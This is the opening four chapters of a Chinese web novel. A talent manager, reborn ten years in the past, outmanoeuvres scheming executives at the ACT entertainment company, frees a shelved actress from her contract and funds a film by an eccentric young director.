《重生后，娱乐圈听我的》
1. 第 1 章
头……头好疼。还有手、腿、腰、背，全身上下都好疼。
舒誉宁躺在床上想动一动，可是她的身体像被拆开再重组了一样疼痛，浑身上下能动的也只有自己的眼皮。
眼前是一片模模糊糊的白色，和一个晃动的人影。
“老大，你终于醒了，我去给你叫医生！”
这声音是，小林？
舒誉宁的大脑终于开机成功，她惊奇地发现自己，活过来了。
飞奔而来的医生护士让她对“活着”有了确切的感知。她并没有死，而是好端端地躺在医院里。前世被网暴而远走高飞的助理小林还在她身边，一切似乎还没有走向她记忆中最糟糕的结局。
难道一切都是自己昏迷期间的一场梦？
“病人的各项指标已经恢复正常，再留院观察两天就可以出院了。小姑娘，你这回真是运气好啊。”
这是这几天来，小林唯一听到的好消息。他激动地擦擦眼泪，不停地给医生道谢。
又躺了一会儿，舒誉宁感觉自己能动了，从床上坐了起来。
“小林，我躺了多久了？”
“正好十天。老大，你不知道，我快被吓死了。我生怕你有什么三长两短……呸呸呸……”
小林在舒誉宁的耳边絮絮叨叨，言语里都是逃过一劫的喜悦。
舒誉宁却一个字也没听进去。
在她的印象里，距离她出车祸这件事，已经过了整整十年。
不知道为什么，她死后，意识一直在世间游荡。她虽然发不出声音，别人也看不到她，但是她见证了很多人这十年间的经历。
想到这儿，她有点哀伤地看着正在给她剥水果的小林，眼里满是心疼和歉意。
她记得在车祸后，小林想替她讨个公道，却被公司赶了出来。公司为了把这件事遮掩过去，停了小林的职，甚至还把自己的车祸嫁祸给小林。
小林家境不好，父亲去世得早，妈妈身体不好，妹妹还在上学，全家就靠他赚钱。他们这摆明了是要断了小林的生路。最后，自身都难保的小林只能带着妈妈和妹妹搬回老家。没几年，他妈妈就去世了，妹妹高考失利，兄妹俩过着艰辛的日子。
还好，这一切只是梦。
“接下来掌声欢迎Vibe男团——”
舒誉宁本想看会儿电视解解闷，一打开便是她曾经手把手带出来的Vibe男团。
“换别的换别的。”小林抢过遥控器，随意地切换频道。
然而一连换了几个频道，都有Vibe男团。
作为他们前经纪人的舒誉宁，不久前还对此引以为傲。如今只觉得恶心。
小林还是关了电视。没有了电视作为背景音，病房里的沉默让舒誉宁有点窒息。
“他们五个现在换谁带了？”
“你别管他们了，养好身体最重要。”小林想换个话题，却对上舒誉宁一定要问到底的眼神，他也只能把Vibe男团的现状告诉她。
“他们五个各自都有独立经纪人了。下个月最后一场演唱会以后就会单飞。而且我听说，他们现在背后的人是……”
舒誉宁下意识地接上：“是郑总。”
“你怎么知道？”
舒誉宁这才明白过来，她不是没死，而是重生！她的意识也真真正正地在世间存留了十年，所谓“梦境”，都是这十年间发生过的事情。
“小林，我要出院。”
“啊？可是医生说……”
“我自己的身体我自己清楚。我要出院，立刻，马上。”
舒誉宁无数次埋怨过天道不公。让她枉死不说，还让她亲眼看着一个个仇人走上人生巅峰。看来，命运对她另有安排。
既然给了她重活一次的机会，那他们的快活人生就由她来过！
办好了出院手续，舒誉宁快步往外走，还不忘提醒小林：“我告诉你，这几天没我的同意，你什么事都不能做。”
“那怎么行？你受了这么大委屈，我要给你讨个公道。”
这傻小子重情重义，就是莽撞了些。
“我不是好好的吗？公道我自己会讨。凡事想想自己家里人，不要以卵击石。”
“知道了，老大。哎，你慢点，慢点，我都跟不上了。”
看着写字楼顶端熟悉的“ACT.Entertainment”标牌，舒誉宁感觉到自己的血液都在沸腾。
十年了，她终于回来了。
“老大，我带了几个箱子，一会儿你先去办辞职手续，我帮你搬东西。”
“辞什么职，回去上班！”
上班？小林显然跟不上舒誉宁的思路。
他该不该告诉舒誉宁，她现在根本没有班上。
在来的路上，舒誉宁已经计划了好了第一步。如果说，要在公司找一个可以对付郑总的人，那一定是他的死对头——方总。
原本的ACT娱乐公司，只是几间地下室拼着小公司。多亏了舒誉宁捧出了vibe男团，让公司迅速壮大，不仅拥有了一整栋写字楼，还有了上市的计划。
不过ACT始终还是一家年轻的草台班子，经验不足。正所谓庙小妖风大，池浅王八多。郑总和方总就是其中最大的两只王八。前世，他们为了争夺上市后的董事职位，打得不可开交。最后，还是因为Vibe男团向郑总投诚，让他侥幸得到了董事一职。
舒誉宁的车祸也跟这件事有关。
她一向不参与这种无聊的内部斗争。她几次告诫Vibe这五个人，管好自己，保持中立。可他们一个字也没听进去，爆红的五个人早就不想再继续组合活动，每个人都各怀鬼胎。郑总以此向他们抛出橄榄枝，只要他们站队自己，会给每个人提供单飞资源。
为了达成这个目的，他们的手段也很卑鄙。几次明里暗里地向粉丝哭诉，舒誉宁这个经纪人有多么不称职。粉丝这个群体，本身就对经纪人有各种不满，听到自己哥哥在诉苦，更是心疼得不行。
平时吵得不可开交的毒唯们，这次空前团结，对舒誉宁开展了疯狂的网暴。
舒誉宁为了躲过围追堵截的私生粉和八卦记者，非常不幸地，发生了车祸。
她的离世就像丢进水中的一颗石子，泛起了几圈涟漪之后，水面又恢复平静。从粉丝到正主，再到公司高层，所有人都在欢呼自己有了更好的未来，根本没人在乎她的离开。
“叮——”电梯门打开，唤回了舒誉宁的思绪。刚才还是满眼恨意的舒誉宁瞬间切换商业微笑，叩开了方总的门。
“哎呀，这不是阿宁吗？看到你没事我就放心了，听说你出车祸，我担心了好久。”
舒誉宁看着假惺惺的方总，心里不禁冷哼一声。这样的演技，是会被观众骂到滚出娱乐圈的。
“都是小伤，让您担心了。方总，我这几天休息，想通了很多事情
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。以前是我太犟，不明白您说的那些话是为了我好，不知道我现在为您效力，还来得及吗？”
“这个吗……”方总就差把“不愿意”这仨字儿刻脑门上了。
他以前想收买舒誉宁还不是看中她手里的Vibe男团。现在Vibe都投靠老郑了，光杆司令舒誉宁在他眼里，不过就是颗弃子。
“Vibe马上就要单飞了，男团这块蛋糕就分了出来。您也知道，这块蛋糕有多大。而且您要相信，我能捧出一个Vibe，就能捧出第二个。”
方总的表情明显缓和了。他心里盘算了一会儿，以舒誉宁的能力和经验，捧出第二个顶流男团，不是难事。就算捧不出来，也无非是让舒誉宁滚蛋而已，对他来说百利而无一弊。
“欢迎你加入我们的团队。”
很快，全公司都知道了一向中立的舒誉宁投靠了方总。本以为有了Vibe男团的郑总，已经将董事职位收入囊中。而有了舒誉宁的加入，这场董事争夺战，有了新的看点。
舒誉宁走在公司的走廊里，清楚地感觉到了周围人各异的目光和窃窃私语，不过她才没空理他们。
她侧身钻进休息区的小隔间，听到了里面传来隐隐约约的哭声。
“谁啊？”
角落里那人从走了过来。
她哭的梨花带雨，天生含情的杏仁眼氤氲着水汽，鼻尖耳朵尖都染上了好看的粉色，光看一眼，舒誉宁的心就化了。
“喝点茉莉花茶，会舒服点。”
“阿宁姐，你出院了！好些了吗？”
此人正是几年前方总签进来，打算力捧的小花——千杉。在一场饭局上，她拒绝了投资方的潜规则，惹怒了方总，被雪藏至今。
舒誉宁原本和她也没什么过多的交集，只是当时看这个姑娘有潜力，替她求过情。虽然没什么用，但是这个恩情千杉一直记得，前几天还来医院看过她。
前世，她被雪藏到合约期结束，白白浪费了大好光阴，直到她退出娱乐圈，都没有几个人听过她的名字。
舒誉宁不禁感到心寒。老方就是个彻头彻尾的生意人，根本不管底下人死活。千杉这么好的苗子，他不想着怎么用心培养，却整天扯一些歪门邪道。既然如此，就别怪她挖墙脚了。
“我没事，你怎么了？又一个人躲在这里哭。”
“我前几天试了个戏，通过了，但是方总不愿意放人。难道我要在这里蹉跎一辈子吗？”
说着说着，千杉绷不住又哭了起来。舒誉宁拿出早就准备好的湿巾，轻轻地帮她擦眼泪。
“既然他不放人，干脆我们直接炒了他，让他后悔去。”
“我提过好几次解约，可我哪里拿得出这么多钱？”
艺人的经纪约就是这样，不管你红不红，要走人，就得扒层皮。
舒誉宁在此之前打听过千杉的违约金——三百万。这对于一个至今没拍过戏的艺人来说，无异于天价。
“那你想不想赌一把？”
“嗯？”
“我们就赌，你不仅不用赔违约金，还可以拿一笔钱，风风光光地走人！”
“阿宁姐，你要不还是回医院再检查一下吧。”千杉哭丧着脸，她以为舒誉宁是想开个玩笑逗她开心，可她只觉得更伤心了。
舒誉宁知道她不会信，但还是提出了一个更大胆的主意：“三百万是吧，就这个数。但前提是，你得听我的。”
2. 第 2 章
或许是舒誉宁说得太过笃定，也或许是走投无路的千杉没有别的选择。如此荒唐的想法。两个人竟然一拍即合。
舒誉宁交给千杉一个U盘，让她拿着它去找郑总。
“老方得意这么久，无非就是靠几个投资方而已。他拉拢投资方的手段有多下作，你见识过。里面是一些狗仔拍到的照片。老郑一定喜欢得很。”
千杉握着U盘，牙都咬紧了。这件事永远都像一个污点，烙印在她骨子里。
“你要让老郑相信，你是真心实意投靠他的。作为演员，这点小表演难不倒你吧。”
“这个你放心。可是这些照片真的能威胁到他？”
千杉心里还是有些忐忑。如果这些照片真的有用，狗仔早就拿着去敲方总的竹杠了，根本落不到她手里。而且她只是一个小透明，方总对付她，轻而易举。
“在你或者我的手上，当然没用。但，老郑呢？”
“哦，明白了！”
想必郑总那边已经听到了舒誉宁投靠方总的消息，现在他急需找其他能斗倒方总的门路。这些照片是很好的依据，他一定会以这个为切入点，找更多的相关证据，踢方总出局。
见千杉想明白了中间的联系，舒誉宁又给她定了定心：“后面的事，交给我就行。”
搞定千杉，舒誉宁便通知小林去联系几个狗仔记者，让他们拟几条老方的八卦新闻，但是不要发出去，只需要把拟好的文稿直接发给她，做成舒誉宁及时拦截消息的假象。
计划很顺利，方总果然急得团团转，连桌上开过光的金蟾摆件都砸到了地上。
“方总，您先别急，狗仔那边的消息我全拦下来了，没有泄露半分。”
一句话，稳住了方总。他混着烟味的手拍了拍舒誉宁的肩膀，看上去对她十分信任。
“阿宁啊，还得是你。”
舒誉宁不动声色地向后挪了挪，躲开了方总的咸猪手。在方总变脸之前，赶紧把话题接下去。
“下一步，您有什么指示吗？”
他摸着额头，一副没主意的样子：“这事儿你比较有经验，我想听听你的意见。”
早料到他会把这种脏事甩给自己去处理。舒誉宁“思考”了一会儿：“要不，我去找千杉谈谈？”
他就等着舒誉宁这句话呢！
“辛苦你了。”
回到休息室，千杉早在那里等着舒誉宁了。
“阿宁姐，跟你猜得一样，郑总高兴得不得了。他还说，这几张照片太模棱两可，说明不了什么。只要我把更详细的内幕交给他，他就会捧我。我才不吃这种大饼，他和老方都是一类人。”
“聪明。你先待在这里，晾他们一会儿。等着收钱吧。”
离开休息室之前，舒誉宁好好调整了一下激动的情绪，摆出一副办白事的表情，才去找了老方。
老方一看她这个样子，就先入为主地认为她们谈崩了。
“方总，是我办事不力。不过千杉要的也不多。她说，给她一笔封口费，这件事就当没发生过。”
“她做梦！”不出所料的，方总暴跳如雷。
“我劝过她了。可是她说的也有道理，我们也不知道还有什么猛料在她手里。您就当破财消灾了。”
“她在哪儿，我去找她！”
“不知道，我和她聊完，她就消失了。听说，郑总也在到处找她。方总，来不及了，现在最重要的是，怎么补救，封住她的嘴。”
舒誉宁这句话无异于火上浇油，彻底让方总被她牵着鼻子走。
方总心里明白，现在是董事争夺战的关键时刻，他已经痛失了先机。如果那些照片真的落入郑总或者哪个媒体手里，到时候别说升职了，几个投资方都会和他解约，还可能会被整个行业封杀。
“她要多少？”
舒誉宁颤颤巍巍地伸出三个手指，老方一看，更气了，又砸坏了一套紫砂茶具。
“三百万，她怎么不去抢！”
呵，老方也配说这句话？舒誉宁在心里疯狂骂着方总，他在问千杉要违约金的时候，怎么不觉得自己在抢呢？
只可惜，这个钱，他不给也得给。
“钱我会转给她，你去盯着她，让她赶紧滚，不要让我再看见她。还有，那些照片……”
“我会处理干净的，您放心。”
不出半个小时，千杉就收到了三百万的巨额汇款，她高兴地拉着舒誉宁又蹦又跳，这是她入行以
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来，最快乐的一天。
“阿宁姐，你太神通广大了，我长这么大，第一次见这么多钱！”
都说君子坦荡荡，小人长戚戚，可怎么没人说做小人这么爽啊！
兴奋过后，千杉还是有些担心：“他不会告我敲诈吧？”
“他敢吗？你浪费的那些时光可不止三百万。这只是你应得的一点点赔偿而已。你先想想晚上吃什么，我们一会儿去庆功。”
半个小时后，舒誉宁也会堂堂正正地从这个鬼地方离开。
她前脚刚踏进办公室，就对上了小林担心的眼神。
“老大，方总找你。”
舒誉宁点点头，她嘱咐小林收拾好东西，提前去地下车库等她。
此时，方总的办公室已经打扫过了，被杂碎的茶具和摆件也换上了新的。他看起来情绪比刚才稳定多了。
“阿宁，你这次让我很失望啊。”
赶走了千杉，就该对她下手了。现在，舒誉宁是唯一知道方总把柄的人，这老狐狸怎么可能把这枚定时炸弹留在自己身边？
舒誉宁点点头，狠狠掐了自己一把，硬生生让自己憋出几滴眼泪：“我知道的，害您白白损失了一大笔钱，是我没处理好。”
“你在公司这么多年，也有不小的贡献。我不希望闹得太难看，你自己去办离职吧。”
“方总，对不起，您在给我一次机会吧，我一定……”
老方拿来这么多耐心听她，从抽屉里扔出一个大信封，意思是，这是她的封口费，拿了钱赶紧滚。
舒誉宁努力地让自己不要笑出声，只能抱着信封，落寞地离开了公司。
“喏，拿着！给你家里人买点礼物。”
与小林汇合后，舒誉宁从信封里拿出一半的钱，给了小林。
小林数着钱，笑得五官都皱在了一起：“老大你太厉害了。竟然能从老方这只铁公鸡身上拔毛。”
这句话提醒到了舒誉宁。老方这人，出了名的只进不出老貔貅，虽说这次他掏钱是逼不得已，但也太爽快了点。
“你找几个狗仔去查查他，看他在钱这件事儿上有没有什么猫腻。”
如果有，那舒誉宁就用不着在他身上多费心了。
3. 第 3 章
还没高兴多久，千杉就告诉舒誉宁一个很可惜的消息。前不久她试镜通过的那部戏已经找到了演员，不需要她了。
也难怪千杉难过。机会不是常常有的，哪怕她现在是自由身，没有戏拍，还是在浪费时间。
“不拍就不拍，我跟你找更好的。”
舒誉宁早就挑好了合作的导演，有天才之称的新人导演——傅明宇。可惜这个天才，脾气古怪，自视甚高，看不起娱乐圈这种商业圈子。前世因为这怪脾气，得罪了圈里不少人。
这颗天才也像一颗流星一样，转瞬即逝。
如果不是为了用最快的速度捧红千杉，舒誉宁也是不想和他打交道的。她还记得前世她和傅明宇吵了一架。傅明宇认为她是满身铜臭的商人，她觉得傅明宇就是个一根筋。
再一次来到了她的工作室门口，舒誉宁不停地深呼吸，告诫着自己：不要生气，不要吵架，学会忍耐，合作为上，皆大欢喜。
推开门，只穿着简单T恤的傅明宇像她前世第一次见到的那样，蹲在地上，拍一株兰花。
前世，舒誉宁并不知道他那时在干嘛，想和他打个招呼，刚开口就被傅明宇骂了。
原因是她发出了声音，干扰了他的拍摄。他说他正在用植物拍一段象征岁月轮回的短片，而舒誉宁的不请自来打破了这美好的意境，亵渎了他的艺术。
舒誉宁诚挚地道歉了，但是他不领情。一来二去，舒誉宁也气得不行，两个人唯一一次会面就这么不欢而散。
这次她学聪明了，换了双怎么踩都没声音的软底鞋，手机也开了静音。保证在傅明宇开口前，她绝不发出一点声音。
也不知道等了多久，傅明宇终于收工了。
“你谁啊？”
他早就注意到舒誉宁了，本想把她赶出去。没想到她这么有耐心，一等就是几个小时。
“傅导您好，我是千杉的经纪人舒誉宁，前不久给您发过邮件。”
邮件，是意料之内地没有收到回复。舒誉宁的言下之意就是，我没有不请自来，提前通知过你了。
傅明宇连个眼神都懒得分给她，收拾好东西，撂下一句话：“我不和商人合作。”
果然还是这幅讨人厌的嘴脸啊。真这么不屑和商人合作，做什么导演啊！
“用植物的生长衰落象征着岁月流转，傅导果然很有想法。”
傅明宇停下了脚步。
舒誉宁满意地笑了一下，就知道他爱听这个。
这种艺术家虽然不好沟通，但是对伯牙子期这样的知音有着谜一般的执着。舒誉宁只要时时刻刻表现出“我和外面那些妖艳贱货不一样，我懂你”的样子，不怕傅明宇不听话。
“你看得懂？”
当然啦，她前世看过这部短片！
这部短片是傅明宇唯一一部问世的作品，拿了不少国际大奖。要不是他太执拗，绝对是当代影坛最受瞩目的新星。
不过现在的舒誉宁确实对这部短片有了更深的理解，岁月轮转，时光交替，没有人比她这个亲历者更加了解。
她口若悬河地说着自己对这部片子的解读，把傅明宇唬得一愣一愣的。
傅明宇的眼神从一开始的不屑到逐渐有了肯定的神情，舒誉宁也结束了她的演讲。
呵，小小导演，拿下！
“傅导，千金易得，知音难觅。你推掉了这么多合作方，不就因为他们不懂你吗？”
说完这话，舒誉宁自己都被酸出了一身鸡皮疙瘩，也就傅明宇这种整天神神叨叨的怪胎吃这套。
“你确实懂点电影艺术的皮毛。但凭这个想和我做知音，你还不够格。”
给你脸了是吧！
舒誉宁恨不得把他的头摁进水池里，给他洗洗脑子。
再次深深吸了几口气，舒誉宁才没让自己说出什么难听的话。
“既然如此，傅导为什么不先给我们一个合作的机会呢？你现在在写的那个剧本，我们真的很感兴趣。”
这个剧本名为《浪潮》，讲述的是上世纪90年代一群小人物在时代洪流中颠沛流离的商战大戏。当初，舒誉宁看了大纲就很喜欢，但因为傅明宇自己性格问题，这部片子也没能问世。
“想合作，约法三章。第一，我没有资金，需要你去拉投资。第二，我不接受任何投资方的指手画脚，包括你。第三，合作由我说了算，我随时随地都可以结束合作。”
好一个软饭硬吃。傅明宇这人虽然没钱，但是他有病！
不过这恰恰燃起了舒誉宁的斗志，她倒是很想看看，落入她手里的傅明宇还能保持这个清高的样子多久。
驯服一匹野马的成就感可不比捧红一个素人来得少。
“祝我们合作愉快。”
现在，新的问题出现了，上哪儿去拉投资？
老方给的那些封口费可不够拍电影的。这些钱还要分出一部分做千杉工作室的启动资金，剩下的钱更是杯水车薪。
而以她今时今日的地位和名声，以前相熟的那些投资方躲她都来不及，更别说给她投钱。
舒誉宁在通讯录里找了一圈，最后把目标锁定在了跟她交好多年的娱记，阿May身上。阿May跟她提过，她认识一家新兴的影视投资公司，钱不多，也没什么认识的大佬，想让舒誉宁牵线，找几个好一点的影视投资项目。
这个时候，阿May的编辑部也在内斗的关键阶段。他们的总编任期已满，即将调任，下一任总编人选就在阿May和另外两个主编身上，
只不过谁都知道阿May是陪跑的炮灰，她自己也知道。
她的两个对手，一个是家里做珠宝生意的富二代，来往的顶流明星、高奢品牌，多如牛毛。另一个，更是简单，现任总编的侄子，直接继承了他姑姑所有的娱乐圈人脉。
阿May也是没办法，她虽然有资历、有经验，但也意味着到了事业的瓶颈期。这次总编晋升，哪怕希望渺茫，她也要争一争。
前世，阿May升职失败后，就被调离了现任的岗位，在一个无关紧要的小部门，庸庸碌碌着。
对此，舒誉宁还是感同身受的。在娱乐圈这个名流名利场，她们这些没后台没背
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景的打工人，每天都像在走钢丝，随时都有可能粉身碎骨。
与此同时，一直盯着方总的小林，也传来了好消息——方总签了对赌。
“难怪几张照片就让他交了大招。对赌失败他要赔多少？”
“五个亿。”
“哈哈哈哈哈。”舒誉宁发出了这几天来，最畅快的大笑。
这些老东西，为了上位，真是昏招迭出。
一旦对赌失败，到时候别说方总，怕是整个ACT都要赔进去。筹备上市的关键时期，公司高层却签了对赌。这样的商业丑闻爆出去，ACT的IPO都可以直接宣告中止了。
笑够了的舒誉宁，擦擦眼角的眼泪，嘱咐小林：“整理好所有的资料，再去给你May姐挑个礼物，我们去看看她。”
许久未见到好友，舒誉宁差点没认出来。
在她印象里，阿May总是一副清爽干练的模样。眼前这个人，头发油腻腻的，用一个廉价的鲨鱼夹别在脑后，黑眼圈快掉到鼻尖，垃圾桶里全是喝空了的咖啡杯。
“先敬罗衣后敬人。你这个样子无疑是告诉所有人，你认输了。”
“没办法。”阿May推了推鼻梁上的眼镜，言语里满是疲惫。“这可能是我最后一次为自己拼一把的机会了。对不起啊，最近太忙，都没去医院看你。”
“我明白的。”她和阿May都认识这么多年了，不在乎这些虚的。
“听说你离开ACT了，下一步有什么想法吗？”
“先别说我，说说你。”
阿May苦笑一下，自己这幅样子还需要规划吗？眼下的日子都过得一塌糊涂。
舒誉宁也不想再和她兜圈子，把整理好的资料递到她面前：“不知道这个东西算不算雪中送炭？”
阿May只是翻了看了几行，瞬间满血复活。
舒誉宁不愧是前头部经纪人，她太知道当下的观众想看什么。
公司内斗、高层商战、顶流爱豆黑料，没有一个字是废话，就连标点符号都精准踩在了看客们的痛点之上。
“何止是炭，你直接送了座火山给我。”
如果把这些材料整理成系列报道，一定能霸占热搜榜。
兴奋之余，阿May也猜到了舒誉宁另有来意。
“要给你多少线人费？”
“不用钱。”
“你知道我不是在和你谈钱。”
世界上最贵的东西，往往是免费的。
“上次你跟我说的那家影视投资公司，联系方式给我一下，我有个项目想和他们谈谈。”
“就这么简单？”
阿May有些惊讶，但是舒誉宁态度真诚，她也没再问下去。
舒誉宁没多说，是她觉得没必要。认识这么多年，这点信任和默契还是有的。
她相信阿May上位总编以后，会投桃报李，成为她最坚实的舆论力量。到时候，她不仅要让所有人都知道娱乐圈有千杉这个沧海遗珠，有傅明宇这个旷世奇才。
她更要让他们知道，她舒誉宁，从地狱杀回来了。
4. 第 4 章
阿May的速度很快，不过两个小时，报道就出来了。
瞬间，微博瘫痪。
ACT这几年发展势头正猛，也因此在圈里树立了不少竞争对手。眼看着这么大个瓜送上门，对家公司们纷纷下场给这篇报道买热搜。很快，大大小小的社交网络都贴满的ACT商战的新闻。
Vibe男团的粉丝更是这场舆论战的主力军。她们乐此不疲地给这些新闻添热度，谩骂着ACT，到处说自家哥哥在这家破公司过得多么多么惨。
可她们忘了，公司和艺人本来就一体的。公司倒台，艺人怎么可能独善其身？粉丝自以为的“我愿意为了哥哥与全世界为敌”的伟大做派，其实都是在把他们往火坑里推。
舒誉宁刷着评论区，悠闲地喝着咖啡，观赏着自己亲手导演的这场好戏。
急促的铃声响起，舒誉宁一看，竟然是方总。
居然还有心思给自己打电话，看来今天这事儿还是不够他忙的。
“喂……”
舒誉宁刚说了一个字儿，电话那头就传来方总暴怒的声音。
“舒誉宁你什么意思？封口费我可没少给你，你居然出卖我！”
“我严格履行我们的约定，那些照片我可一张都没放出去。”
但是后续会不会被其他公司或者记者扒出来，那可不是她能控制的。
“你……”方总还想再骂点什么，就被舒誉宁打断了。
“有空来我这兴师问罪，不如想想怎么凑齐那五个亿。挂了。”
挂断电话，舒誉宁就把ACT所有相关的人全部拉黑。
再次见到阿May，她的精神状态明显好多了。剪了头发，身上穿着新定制的高级西装，熬夜产生的痘痘和黑眼圈也都一一消失。
“May总编，以后多多关照。”
“下周才是就任仪式，到时候再改口吧。”
阿May给舒誉宁看了份数据报告。
ACT商战内幕的报道是编辑部成立以来，数据最高的报道。靠这篇报道，编辑部赚得盆满钵满不说，还拿下新一轮的融资。总部几个高层一高兴，马上就发了OA，告诉所有人总编的人选由阿May出任，还奖励了阿May他们小组50%的全年奖金。
“难怪做了新西装，好几万吧？”
“你说的，先敬罗衣后敬人。还有个消息要告诉你，ACT的上市资料给证监会驳回了。他们拉了这么高的杠杆冲这次的IPO，怕是兜不回来了。”
“活该。”一个草台班子，也不看看自己多少斤两。
两个人正聊着，阿May约好的影视投资公司就到了。
有阿May的帮忙，对方很快就确定了投资傅明宇的电影。只是这个钱，实在少了点。
对方给的金额是四百万。舒誉宁也没过多坚持，她看得出来，对方真没什么钱。这四百万大概是他们公司能给的全部预算了。
她自己手里还有两百万，凑一凑，总共六百万。
回到工作室的舒誉宁，反复按着计算器。
傅明宇定的拍摄周期是10个月，这10个月不说场地、设备、后期这些大头支出，光是全剧组上下所有人的吃穿住行，就是笔不小的开支。
再加上傅明宇还是个爱折腾的“大艺术家”，拍摄过程很难保他不犯病。一旦拍摄周期延长，资金投入也跟着无限上涨。
千杉明白眼下的困境，她跟舒誉宁建议：“阿宁姐，要不，工作室的后续先停一停，拍电影要紧。”
“不行，已经进行一半了，怎么停？而且这点钱就算全拿出来，也根本不够。你安心拍电影，其他的你不用考虑。”
虽然千杉也不知道舒誉宁会用怎么样的方式解决资金这个大难题，但她现在无条件相信舒誉宁，只要她答应的，一定能做到。
“好。”
电影如期开机，傅明宇的所作所为也和舒誉宁猜得一样。
他还真的可以一个镜头拍几十遍。
这已经是千杉在雨里摔得第20个跟头了。傅明宇也很奇怪，他也不说这个镜头拍得那里有问题，只是让演员不停地重拍。
难怪前世都没人跟他合作啊，谁受得了他这样无止境地折磨人。
“CUT，收工！”
终于收工了，舒誉宁赶紧迎上去，扶着千杉。
“疼么？”
千杉勉强地笑了一下：“我想去一下洗手间。”
一到洗手间，忍了一下午的千杉，吐了一地黄水。
舒誉宁拍拍她个后背，从包里掏出漱口水给她：“需要我跟导演沟通吗？”
“不用，我歇会儿就好。”
舒誉宁点点头，她没看错人。这样坚韧的千杉，做什么都会成功。
待千杉好些了，舒誉宁便让小林先送她回去，自己则是去找了傅明宇。
他坐在监视器前，反复斟酌每一个镜头。
他确实厉害。舒誉宁腹诽。
都是摔倒，却在他的构图和光影之下，每个镜头竟然呈现了完全不同的意象和情感。
“怎么？找我兴师问罪。”
傅明宇背对着头，仅是听到了脚步声，便知道是舒誉宁来了。
“我没这么矫情，只是好奇，你为什么要拍这么多遍。”
“坐吧。”
待舒誉宁坐下，傅明宇说起了自己的用意。
不少演员都来试过这段戏，只是所有人，包括他们的经纪人，都受不了傅明宇这种行为。态度好的，假惺惺地笑着说自己不合适，下次合作。态度差的，直接破口大骂，现场砸东西发脾气的都有。
“所以这是个测试？”
如果千杉和舒誉宁对此表现出不满，他们的合作也到处为止了。
“可以这么说。”
“呵，有病。”
“……”傅明宇没想到舒誉宁会骂得这么直白。
“我支持演员吃苦，毕竟他们高薪。但我不认同没苦硬吃这种行为。我作为千杉的经纪人，有义务保护我的艺人。同时，作为制片，我也必须保证整个剧组的正常运行。傅导，我认可你的才华，但我不认可你的工作习惯。这种行为，我不希望再发生。”
舒誉宁咄咄逼人的语气，引起了傅明宇的强烈不满。
“别忘了我们的约法三章。”
就知道他回来这一套。
“合同可是你自己签的！”
舒誉宁当初就是怕他发癫，特地加大了赔款金额。
“你……”
路过的千杉和小林发现他们俩之间的剑拔弩张的氛围，赶紧上来劝架：“哎哟，别吵别吵别吵。”
“我可没有吵架，是你们经纪人咄咄逼人。”傅明宇看似是在给他们解释，实则全程怒视舒誉宁。
舒誉宁自然也不甘示弱：“您号称大艺术家，还不是为了合同妥协了？”
“万恶的资本家！”
“假清高的伪艺术家！”
眼看着两个人吵架的方式越来越像小学生斗嘴般幼稚，小林连拖带拽把舒誉宁送上了车，千杉赔了几声笑脸，也跟着离开了。
“啊，气死我了，你们拉我干什么！”
坐在车里的舒誉宁沉浸在自己吵架没发挥好的情绪中，恨不得跳下车再和傅明宇大战三百回合。
千杉问起了前因后果：“好端端的怎么吵起来了？”
舒誉宁深吸几口气，把刚刚的原委跟他们复述了一遍：“你们评评理，我没说错吧。”
“……”
换来的是千杉和小林的沉默。
“什么意思？你们觉得我错了？”舒誉宁的语调都高了几分。她没想到，他们居然不站自己这边。
“不是谁对谁错的问题。”千杉给舒誉宁倒了杯茶，让她消消火。“你不应该拿合同压他。”
冷静下来的舒誉宁也意识到了自己说错了话，心虚地为自己辩解：“吵架不就是话赶话吗……我也不是那个意思。”
“还得拍戏呢，你打算怎么办啊？”
还能
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有什么办法？逃避可耻，但有用。
“我和他还是不要见面的最好。省得又吵起来。”
接下来这几天，舒誉宁也是这么做的。
两个人吵完以后，傅明宇也意识到了，舒誉宁说得其实是对的。
剧组上上下下这么多人，每个人都对傅明宇这重度强迫症，敢怒不敢言。就算千杉没意见，不代表其他人没意见。长此以往，这戏还怎么拍？
再仔细想想，舒誉宁没有食言，她并没有干涉过任何电影拍摄的事。那些话，也是在收工以后，等没人了才跟他私下说。
或许，自己该向她道个歉？
不行。
傅明宇抹不开这个面子。
一想到她拿合同说事，自己终究还是来气。
既然大家都有错，那也算，扯平了？
第二天，傅明宇并没有见到舒誉宁。
他心里轻松了不少。他还怕见到舒誉宁尴尬，自己又不是会低头认错的性子。万一两个人再吵起来，还当着这么多人的面，只怕会很难收场。
第三天、第四天、第五天……已经快半个多月没见多舒誉宁了。
不至于到现在还在生气吧？
傅明宇心里很忐忑，他有种不祥的预感，因为他发现一个很重要的事情，预算，似乎不够了。
他现在情愿舒誉宁来找自己麻烦。但是到现在，舒誉宁连面都没露过。
更让他觉得不对劲儿的是，整个剧组还在照常运转，原本对他有不满的工作人员们，工作热情反而高涨了不少。就连最该降低成本的剧组盒饭，都保持在荤素搭配，水果免费的高水平。
一切如常，就是最大的不正常。
他试着向千杉打听一下情况，可千杉一头扎在剧组里，每天只是和剧本打交道，知道的信息比自己还少。
“不过你可以去问她，阿宁姐刚回来了。”
“回来？她去哪儿了？”
傅明宇都没听说舒誉宁外出的消息。
“不知道。”
几番挣扎之下，他还是去找了舒誉宁。
在休息区的角落里，傅明宇找到了正捧着电脑做账目的舒誉宁，此时，她手里捧着一碗泡面。
“你怎么吃这个？”
“咳，咳咳，你吓死我了！”
一口滚烫的面汤呛在喉咙口，吓得舒誉宁差点把面汤洒在电脑上。
“对不起，对不起。”傅明宇手忙脚乱地扯了几张纸巾，给舒誉宁胡乱地擦着。
“我自己来。找我有事啊？”
“是不是钱不够了？”
傅明宇的开门见山，让舒誉宁颇感意外。
原来他还有“钱”的概念啊！
“够的。”
“那你还吃泡面？”
“盒饭吃腻了，换换口味。我不会让你们都跟我一起吃泡面就是了，回去拍戏去。”
舒誉宁明显是随便找了个理由搪塞，这让傅明宇更难受了。
“可是……”
舒誉宁不由分说地把傅明宇往外推：“赶紧走赶紧走，听着，好好拍戏。”然后，反锁上了门。
确定傅明宇回到拍摄现场后，舒誉宁才从泡面底下翻出两只巴掌这么大的黑虎虾，剥了起来。
她心满意足地喝口汤，享受地眯着眼睛。用海鲜煮出来的面汤，就是鲜。
她腾出一只手给小林发消息：接下来，看你的了。
小林秒回了个“OK”的手势。
在娱乐圈混久了，哪怕她是个经纪人，也学会了随地大小演的技能。
经过这件事，她能保证，傅明宇彻底成为了她的人。
